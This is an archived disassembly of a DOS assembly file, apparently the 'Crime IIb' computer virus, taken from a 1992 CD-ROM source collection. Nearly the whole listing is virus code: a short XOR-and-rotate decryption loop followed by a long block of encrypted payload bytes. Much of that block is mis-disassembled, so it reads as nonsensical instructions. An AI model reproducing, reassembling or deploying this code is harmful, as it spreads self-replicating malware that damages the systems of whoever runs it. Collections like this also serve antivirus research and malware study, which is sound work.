home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CRIMEIIB.ASM < prev    next >
Assembly Source File  |  1992-09-02  |  11KB  |  395 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    CRIMEIIB                     ██
  7. ;██                                         ██
  8. ;██      Created:   31-Jan-91                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_8e        equ    20D3h            ;*
  14. data_9e        equ    28C9h            ;*
  15. data_10e    equ    3C81h            ;*
  16. data_26e    equ    8ECDh            ;*
  17. data_34e    equ    0B7C5h            ;*
  18. data_37e    equ    0D848h            ;*
  19. data_38e    equ    0E245h            ;*
  20. data_44e    equ    0F198h            ;*
  21.  
  22. seg_a        segment    byte public
  23.         assume    cs:seg_a, ds:seg_a
  24.  
  25.  
  26.         org    100h
  27.  
  28. crimeIIb    proc    far
  29.  
  30. start:
  31. ;*        jmp    loc_2            ;*
  32.         db    0E9h,0FFh,0FFh
  33.         db    1            ; Data table (indexed access)
  34.         db     00h, 99h, 5Eh, 81h,0EEh, 03h
  35.         db     01h, 83h,0FEh, 00h, 74h, 1Ch
  36.         db     2Eh, 8Ah, 94h, 03h, 01h, 8Dh
  37. loc_3:
  38.         mov    ax,cs
  39.         push    es
  40.         lea    bx,[si+12Ah]        ; Load effective addr
  41.         sub    cx,bx
  42.  
  43. locloop_4:
  44.         mov    al,cs:[bx]
  45.         xor    al,dl
  46.         ror    dl,1            ; Rotate
  47.         mov    cs:[bx],al
  48.         inc    bx
  49.         loop    locloop_4        ; Loop if cx > 0
  50.  
  51.         mov    bh,4Ch            ; 'L'
  52.         loop    $+32h            ; Loop if cx > 0
  53.  
  54.         cbw                ; Convrt byte to word
  55.         iret                ; Interrupt return
  56. ;*        js    loc_6            ;*Jump if sign=1
  57.         db     78h, 35h
  58.         xchg    ax,di
  59.         retn    3479h
  60.         adc    al,70h            ; 'p'
  61.         scasb                ; Scan es:[di] for al
  62.         xor    ax,4C20h
  63.         db     66h, 83h, 99h, 30h, 95h, 99h
  64.         db     29h, 90h, 48h,0BBh, 1Dh, 04h
  65.         db     60h, 1Dh, 11h, 48h, 8Eh, 35h
  66.         db    0B7h, 44h,0E2h, 3Bh, 9Eh, 41h
  67.         db    0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh
  68.         db    0B8h,0FFh,0A6h, 2Dh, 17h, 14h
  69.         db    0C7h, 35h, 98h,0D3h, 5Bh, 33h
  70.         db     99h
  71. loc_6:
  72.         mov    cx,1D6Ch
  73.         pop    di
  74.         dec    ax
  75.         db    0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh
  76.         db     09h,0E2h,0A0h,0B7h, 37h,0CDh
  77.         db     67h,0A3h, 72h, 81h,0F6h
  78.  
  79. locloop_7:
  80.         jle    loc_3            ; Jump if < or =
  81. ;*        call    far ptr sub_7        ;*
  82.         db     9Ah, 63h, 33h, 99h,0CCh
  83.         db     67h, 33h, 98h, 3Ch, 99h,0C3h
  84.         db     66h,0CCh, 66h, 33h, 99h,0CDh
  85.         db     66h,0FEh,0B9h,0CCh
  86.         db     64h, 37h
  87.         db    99h
  88.         db    0CCh, 66h
  89.         dw    9931h            ; Data table (indexed access)
  90.         db     33h, 69h,0CCh, 66h,0CCh, 66h
  91.         db    0CDh, 66h,0CCh, 66h,0D3h, 98h
  92.         db    0CCh, 66h, 2Fh, 99h,0CCh, 66h
  93.         db     26h, 98h,0CEh
  94.         db     65h, 33h
  95.  
  96. locloop_8:
  97.         cbw                ; Convrt byte to word
  98.         xor    bp,[bp+si+39h]
  99.         cbw                ; Convrt byte to word
  100.         out    48h,al            ; port 48h ??I/O Non-standard
  101.         jbe    $-3Dh            ; Jump if below or =
  102.         mov    [bp+19h],sp
  103.         mov    bh,8Fh
  104.         sub    [bp-67h],di
  105.         in    al,dx            ; port 0, DMA-1 bas&add ch 0
  106.         db     66h, 37h, 70h,0CCh, 66h,0B0h
  107.         db     67h,0CCh, 13h, 30h, 70h, 1Bh
  108.         db     66h, 1Dh, 12h, 48h,0F7h
  109.         db     32h,0A4h, 81h, 3Ch
  110. loc_10:
  111.         inc    si
  112.         nop
  113.         loop    locloop_7        ; Loop if cx > 0
  114.  
  115.         mov    bh,16h
  116.         int    67h            ; ??INT Non-standard interrupt
  117.         esc    0,[bp+si+485Ch]        ; coprocessor escape
  118.         cmc                ; Complement carry
  119.         sbb    ax,6743h
  120.         xor    dx,[si]
  121. ;*        jo    loc_11            ;*Jump if overflow=1
  122.         db     70h,0F7h
  123.         xor    ah,[bp+si]
  124.         int    3            ; Debug breakpoint
  125.         db     67h, 8Ah, 97h,0CCh
  126.  
  127. locloop_12:
  128.         in    ax,dx            ; port 0, DMA-1 bas&add ch 0
  129.         db     36h, 10h,0CBh, 25h
  130.         db     70h,0DEh, 8Bh, 84h,0C5h,0B7h
  131.         db     47h,0E2h,0B0h, 98h,0E2h,0EFh
  132.         db    0B7h, 1Ch,0CDh
  133.         db     48h,0B8h, 1Dh, 4Bh, 67h, 1Dh
  134.         db     10h, 48h,0EFh, 32h,0B7h, 47h
  135.         db    0E2h, 94h, 98h,0E2h,0EFh,0B7h
  136.         db     12h,0CDh,0D2h, 19h, 54h,0EDh
  137.         db     48h, 0Ah, 0Dh, 78h, 67h, 4Fh
  138.         db     9Ah, 27h, 19h,0A3h,0B7h,0F6h
  139.         db    0E2h, 9Dh, 98h,0B9h, 65h,0D8h
  140.         db    0ECh, 5Ch,0EBh,0AFh, 16h,0CEh
  141.         db    0DFh, 2Ah, 99h,0E2h,0ECh, 24h
  142.         db     19h, 3Eh, 33h, 87h, 9Bh, 01h
  143.         db     47h, 70h, 7Bh, 3Fh,0EBh,0AFh
  144.         db     51h,0CAh,0DEh, 33h, 98h,0FFh
  145.         db    0AFh, 1Dh, 10h,0CBh, 25h, 70h
  146.         db     67h, 08h, 27h,0B0h, 60h,0ECh
  147.         db     18h,0C0h, 14h, 50h,0AEh, 35h
  148.         db     2Ch,0CCh,0DCh,0B3h, 99h, 79h
  149.         db     66h, 83h, 99h, 7Dh, 60h,0E1h
  150.         db     79h, 46h,0AEh,0B3h, 50h,0CDh
  151.         db    0DEh, 33h, 9Ch, 01h, 75h, 41h
  152.         db     9Eh, 32h,0A0h,0B3h, 67h,0C5h
  153.         db     13h,0D6h, 20h,0C9h, 66h, 87h
  154.         db     9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh
  155.         db     9Eh,0D8h, 67h, 93h, 3Eh, 22h
  156.         db     8Dh,0CDh, 72h, 25h, 9Eh,0D0h
  157.         db     7Eh, 23h,0ECh,0D0h, 7Ah, 46h
  158.         db    0ECh,0CFh, 7Ah, 34h, 99h,0CAh
  159.         db     39h, 6Bh,0C6h, 94h,0D2h, 2Ah
  160.         db     54h,0EDh, 48h,0BBh, 1Dh, 09h
  161.         db     67h, 87h,0DEh,0FFh,0B4h
  162.         db    65h
  163.         db     14h, 78h,0AFh, 35h, 54h,0EDh
  164.         db     38h
  165.         db     1Dh, 5Fh, 48h,0D0h, 32h, 99h
  166.         db     24h, 3Bh
  167.  
  168. locloop_17:
  169.         xor    dx,[si]
  170.         push    ax
  171.         db    0C9h, 32h,0B7h, 46h,0E2h, 85h
  172.         db     98h,0E2h, 98h,0B7h, 2Fh,0CDh
  173.         db    0FEh
  174.         db    30h
  175.         db     41h,0E2h,0ECh, 34h
  176.         db     13h, 1Ch, 5Ah,0CCh,0ECh,0CFh
  177.         db     8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h
  178.         db    0ECh,0DCh, 48h,0B9h, 1Dh, 62h
  179.         db     67h, 0Fh, 98h,0B8h,0B3h, 0Fh
  180.         db     9Bh,0B9h, 65h,0DAh,0A5h, 33h
  181.         db    0D2h, 3Dh, 54h,0EDh,0D2h, 74h
  182.         db     2Bh,0CCh, 30h,0BEh, 2Dh, 25h
  183.         db     60h,0FEh,0B8h, 92h,0DDh, 37h
  184.         db     99h,0E2h
  185.         db    0ECh, 34h,0A5h,0CFh, 13h, 34h
  186.         db     29h,0CCh, 48h,0BBh, 9Eh, 27h
  187.         db    0CBh,0DBh, 85h,0CDh, 8Eh,0ABh
  188.         db     99h
  189.         db    0BFh, 48h,0D8h, 3Ah,0FFh,0A6h
  190.         db     2Dh, 17h, 14h,0DDh,0A3h, 99h
  191.         db     47h, 21h, 31h,0B7h, 45h,0E2h
  192.         db     4Eh, 98h, 47h, 61h, 1Dh, 10h
  193.         db     48h, 19h, 32h, 15h, 04h,0EFh
  194.         db     74h, 9Bh, 41h,0E2h, 74h, 9Ah
  195.         db     45h, 61h, 2Ch, 5Ah, 77h, 62h
  196.         db     33h,0B7h, 0Ah, 61h, 30h, 56h
  197.         db     75h, 26h, 33h,0CFh, 83h, 29h
  198.         db     7Ch, 5Eh,0C9h, 46h, 6Fh, 12h
  199.         db     3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah
  200.         db     33h,0ECh, 35h, 38h, 87h,0A2h
  201.         db     41h,0F2h, 3Bh, 9Eh, 01h, 47h
  202.         db    0DBh, 51h,0CCh, 8Eh, 77h, 99h
  203.         db    0BFh,0BCh, 87h,0A2h, 41h,0F2h
  204.         db    0DBh, 9Fh, 01h, 47h, 1Dh
  205.         db     67h, 48h
  206.  
  207. locloop_21:
  208.         retf
  209.         xor    dh,[bx+di-2]
  210.         db     66h, 40h, 9Ah, 25h,0E0h, 31h
  211.         db    0B7h, 46h,0E2h, 9Eh, 98h,0F0h
  212.         db     66h, 46h, 9Ch, 4Fh,0A5h, 3Ah
  213.         db     72h, 7Bh,0D2h, 7Ch,0C9h, 01h
  214.         db     47h, 6Bh,0EAh,0CFh, 8Fh, 10h
  215.         db     66h, 9Ch,0D2h, 1Ch, 54h,0EDh
  216.         db    0E5h,0F0h, 8Ch
  217.         db     7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh
  218.         db     46h, 7Ch, 32h,0AEh,0D8h
  219.         db     41h, 41h,0DAh, 3Ah, 9Eh, 75h
  220.         db     5Ch, 33h, 29h,0CCh, 9Ah,0C0h
  221.         db     33h, 78h, 21h, 65h,0AAh, 1Eh
  222.         db    0EBh, 87h, 90h,0CBh,0ABh, 12h
  223.         db    0C7h, 30h,0EBh, 8Fh, 90h,0CBh
  224.         db    0DFh, 73h, 99h, 7Ch, 66h,0C1h
  225.         db     37h,0B8h, 64h,0CAh, 5Ah, 83h
  226.         db     29h,0B9h, 9Ch,0F0h
  227.         db     3Ah, 47h
  228.         db     9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h
  229.         db     63h, 74h, 29h,0E6h, 48h,0BBh
  230.         db     9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h
  231.         db     63h, 74h, 29h,0E6h, 48h,0BBh
  232.         db     9Ch, 8Bh,0EBh,0A7h, 91h,0CBh
  233.         db    0D2h, 7Dh, 20h,0DCh, 66h,0FEh
  234.         db    0B8h,0BFh, 67h,0F0h, 2Dh,0E3h
  235.         db     60h,0FEh,0B8h, 4Fh,0A5h, 26h
  236.         db     29h,0DCh
  237.         db     40h, 0Bh, 9Eh,0CBh, 13h
  238.         db     21h, 61h, 78h, 49h, 35h, 54h
  239. loc_26:
  240.         in    ax,dx            ; port 0, DMA-1 bas&add ch 0
  241.         in    ax,0F0h            ; port 0F0h ??I/O Non-standard
  242.         xchg    di,[si+48h]
  243.         sbb    ax,0CBA1h
  244.         db     61h, 47h, 98h, 0Fh,0D2h, 7Ch
  245.         db     54h,0EDh, 15h,0EBh, 60h, 0Fh
  246.         db    0D2h, 7Dh, 20h,0CBh, 66h,0BEh
  247.         db     0Dh, 7Bh, 67h,0FEh,0B8h,0BEh
  248.         db     77h,0DBh,0B4h,0CCh,0D2h, 7Ch
  249.         db     20h,0CBh, 66h,0FEh,0B8h,0BEh
  250.         db     63h,0DBh,0B8h,0CCh, 8Dh,0C1h
  251.         db     14h, 58h,0DBh, 32h, 2Dh, 82h
  252.         db    0DFh, 34h, 99h, 01h, 47h, 41h
  253.         db     88h, 24h, 69h, 33h, 2Dh, 83h
  254.         db    0DFh, 34h, 99h, 01h, 47h, 41h
  255.         db     9Ch, 24h, 65h, 33h, 72h, 3Eh
  256.         db    0A5h, 87h,0B6h,0CAh,0ABh, 12h
  257.         db     1Ah, 0Fh, 79h, 15h, 13h,0CBh
  258.         db     61h, 0Fh,0DBh,0B9h, 67h,0F0h
  259.         db     2Dh,0E3h, 60h,0FEh,0B8h, 4Fh
  260.         db    0A5h, 25h,0BFh, 47h, 69h,0B0h
  261.         db     5Ah,0CEh, 40h,0B8h, 8Eh,0CBh
  262.         db    0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h
  263.         db    0C8h
  264.         db    'uc3K$'
  265.         db    '?9]'
  266.         db    0C8h, 63h, 09h, 58h,0B8h, 63h
  267.         db    0B9h, 51h, 27h, 64h,0A3h, 5Ah
  268.         db     94h, 3Eh, 62h,0CBh,0D2h, 60h
  269.         db     87h,0B6h, 01h, 47h,0BFh, 59h
  270.         db     42h,0BEh,0DBh, 8Ah,0CDh,0EDh
  271.         db    0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh
  272.         db    0F1h,0ABh, 12h, 12h, 14h, 61h
  273.         db     2Ch, 2Dh,0F3h,0EBh,0A7h, 08h
  274.         db    0CDh,0DFh, 2Fh, 99h, 01h, 47h
  275.         db     1Dh
  276.         db     13h, 68h,0F7h
  277.         db     32h,0B7h, 46h,0E2h,0A1h, 98h
  278.         db    0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh
  279.         db    0AAh, 99h,0E2h,0EDh,0B7h, 3Ch
  280.         db    0CDh, 48h,0BAh, 1Dh, 4Fh, 67h
  281.         db     1Dh, 12h, 48h,0C1h, 32h,0B7h
  282.         db     45h,0E2h,0B4h, 98h,0E2h
  283.         db    0EDh,0B7h, 0Ch,0CDh, 35h, 00h
  284.         db     42h,0FFh,0AFh,0E2h, 49h, 46h
  285.         db    0AAh,0E2h, 41h, 4Fh, 9Fh, 33h
  286.         db    0EDh,0CAh,0E7h,0F0h, 99h,0DCh
  287.         db     84h,0C9h, 28h,0C5h,0B5h,0D3h
  288.         db     20h,0C8h, 66h, 1Dh, 12h, 58h
  289.         db    0FFh, 32h, 4Ah, 2Eh, 36h, 18h
  290.         db     5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh
  291.         db     48h,0BAh, 05h
  292.         db     53h, 67h
  293.         db     1Dh, 10h, 48h,0C3h, 32h, 20h
  294.         db    0CCh, 64h, 1Dh, 10h, 40h,0F5h
  295.         db     32h, 20h, 32h, 99h, 1Dh, 10h
  296.         db     40h,0C7h, 32h,0B7h, 47h,0EAh
  297.         db    0A6h, 98h, 4Fh,0A7h, 30h,0B7h
  298.         db    45h
  299.  
  300. locloop_31:
  301.         jmp    far ptr $-6CB4h
  302.         loop    $+74h            ; Loop if cx > 0
  303.  
  304.         sbb    ax,0E28Dh
  305.         jc    $+4Ch            ; Jump if carry Set
  306.         mov    cx,52B8h
  307.         xchg    ax,si
  308.         esc    6,[bp+di]        ; coprocessor escape
  309.         esc    3,ds:[12ABh][bx]    ; coprocessor escape
  310. ;*        jno    loc_30            ;*Jump if not overflw
  311.         db     71h,0C9h
  312.         db     67h, 8Bh, 99h, 8Eh, 55h,0FAh
  313.         db    0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch
  314.         db    0DFh, 2Fh, 99h, 41h,0F2h,0A2h
  315.         db     98h, 01h, 47h,0D8h,0AEh, 5Ch
  316.         db    0DEh, 31h,0DBh,0FFh,0AFh, 00h
  317.         db     4Bh, 01h, 47h,0DBh, 7Bh,0CCh
  318.         db    0DEh, 33h,0DBh,0FFh,0AFh, 00h
  319.         db     4Bh, 01h, 47h, 87h,0B6h, 9Fh
  320.         db     60h,0FEh,0B8h, 4Fh,0A5h, 29h
  321.         db    0BFh, 47h, 61h, 34h,0C2h,0E1h
  322.         db     65h, 33h,0B7h, 45h,0E2h,0F4h
  323.         db     98h, 78h, 26h, 8Ah, 9Ah,0CCh
  324.         db    0EBh,0A7h, 5Fh,0CDh,0ABh, 12h
  325.         db    0C3h, 95h,0DEh, 32h,0CEh, 01h
  326.         db     47h, 87h,0A7h, 01h, 47h,0DBh
  327.         db    0B5h,0CCh,0D2h, 08h, 14h, 58h
  328.         db     8Eh, 35h, 54h,0EDh, 8Dh, 09h
  329.         db     09h, 78h, 49h, 35h,0CAh
  330.         db     01h, 47h,0B8h, 4Ah, 4Fh,0A4h
  331.         db     2Dh, 21h,0CCh, 25h,0FEh,0B8h
  332.         db     97h, 61h, 1Dh, 10h, 40h,0A5h
  333.         db     32h, 18h, 2Dh, 98h, 33h, 21h
  334.         db    0CDh, 25h,0FEh,0B8h, 0Fh, 48h
  335.         db    0B8h, 15h, 0Fh, 67h, 87h,0B6h
  336.         db    0CAh, 35h,0FEh,0B8h, 47h,0B5h
  337.         db    0B0h, 5Bh,0D2h,0DEh, 32h,0DAh
  338.         db     01h, 47h, 68h, 9Eh, 0Fh,0D2h
  339.         db    3Dh
  340.         db    0B7h, 46h,0F2h,0F6h, 98h, 01h
  341.         db     47h, 87h,0A2h, 41h,0F2h,0FBh
  342.         db     9Fh
  343. loc_34:
  344.         add    [bx-25h],ax
  345.         mov    word ptr ds:[61CCh],ax
  346.         sub    al,2Dh            ; '-'
  347.         db    0D6h,0DCh,0B3h, 99h, 01h, 47h
  348.         db    0B8h, 5Fh,0F1h, 66h, 33h,0EDh
  349.         db    0EAh, 48h,0B9h, 1Dh, 43h, 67h
  350.         db     0Fh, 98h,0B9h, 7Eh, 1Dh, 12h
  351.         db     48h,0EFh, 32h,0B7h, 47h,0FAh
  352.         db    0B8h, 98h,0C2h, 3Fh, 18h, 52h
  353.         db    0CFh,0AEh, 62h,0B7h, 47h,0E2h
  354.         db    0B6h, 98h, 9Ch,0ADh, 88h, 99h
  355.         db    0CDh, 99h,0D0h
  356.         db    2Dh
  357. loc_35:
  358.         sub    byte ptr [bp+di-55EEh],0Ch
  359.         js    loc_34            ; Jump if sign=1
  360.         inc    cx
  361.         ja    loc_35            ; Jump if above
  362.         xor    si,word ptr ds:[0E247h][bx]
  363.         dec    si
  364.         cbw                ; Convrt byte to word
  365.         inc    bp
  366.         and    [bx+di],si
  367.         adc    cl,[bx+si+19h]
  368.         xor    dl,[bx+si]
  369.         retf
  370. ;*        jns    loc_36            ;*Jump if not sign
  371.         db     79h,0F0h
  372.         retf    0EA41h
  373.         cmp    bx,[bp-48B9h]
  374.         mov    si,5B05h
  375.         db     60h, 18h, 52h, 4Fh, 8Fh, 73h
  376.         db    0B7h, 46h, 61h,0B4h, 43h,0E2h
  377.         db    0EEh, 34h, 1Eh, 16h, 25h, 71h
  378.         db     7Bh, 3Eh, 8Dh, 41h, 09h, 24h
  379.         db     69h, 33h,0C2h, 41h,0EAh,0FBh
  380.         db     9Fh, 41h,0F2h, 33h, 98h,0E7h
  381.         db    0ACh, 87h,0D9h, 01h, 47h, 1Dh
  382.         db     13h, 58h, 65h, 32h,0CAh, 41h
  383.         db    0EAh,0FBh, 9Fh, 41h,0FAh, 19h
  384.         db     98h,0E7h,0ADh, 1Dh, 13h,0CBh
  385.         db     54h,0F1h, 49h, 06h, 48h,0BBh
  386.         db     9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh
  387.  
  388. crimeIIb    endp
  389.  
  390. seg_a        ends
  391.  
  392.  
  393.  
  394.         end    start
  395.